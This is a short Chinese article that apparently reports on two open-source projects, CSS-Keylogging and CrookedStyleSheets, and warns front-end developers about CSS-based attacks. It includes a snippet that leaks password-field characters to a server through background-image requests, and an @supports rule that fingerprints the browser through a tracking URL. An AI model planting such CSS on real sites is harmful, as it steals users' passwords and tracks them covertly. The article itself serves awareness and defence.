最近有关于 css 安全问题的讨论比较火热。
话题的开始是由两个有趣的开源项目，CSS-Keylogging 和 CrookedStyleSheets。
首先是CSS-Keylogging 从名字可以看出，项目提出通过 css 记录用户的输入并上传到服务器。实现方式也比较简单，通过枚举输入值的选择器，选择器一旦匹配就将携带的信息上传到服务端。服务器保存请求序列,按时间排序分析就可以得到用户隐秘信息。
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
而 CrookedStyleSheets 提供了一个无 javascript 的用户交互跟踪方案。仅通过 css 样式代码就可以跟踪用户何时悬停鼠标，何时点击链接，何时在输入字段中输入文本，以及收集大量真实的用户代理信息，即便用户使用假的 UA 也没有用。
此外，css 可以对用户浏览器进行探测
基于 @supports Media-Query，css 资源请求在特定条件下触发。相当于使用了浏览器的选择器
@supports (-webkit-appearance: none) {
#target::after {
content: url("track.php?action=browser_chrome");
}
}
两个项目给了前端开发者警惕。安全问题，无孔不入。以往我们关注跨站脚本攻击，避免非法代码被执行，而看似温顺的 css 现在安全性也需要重新去评估。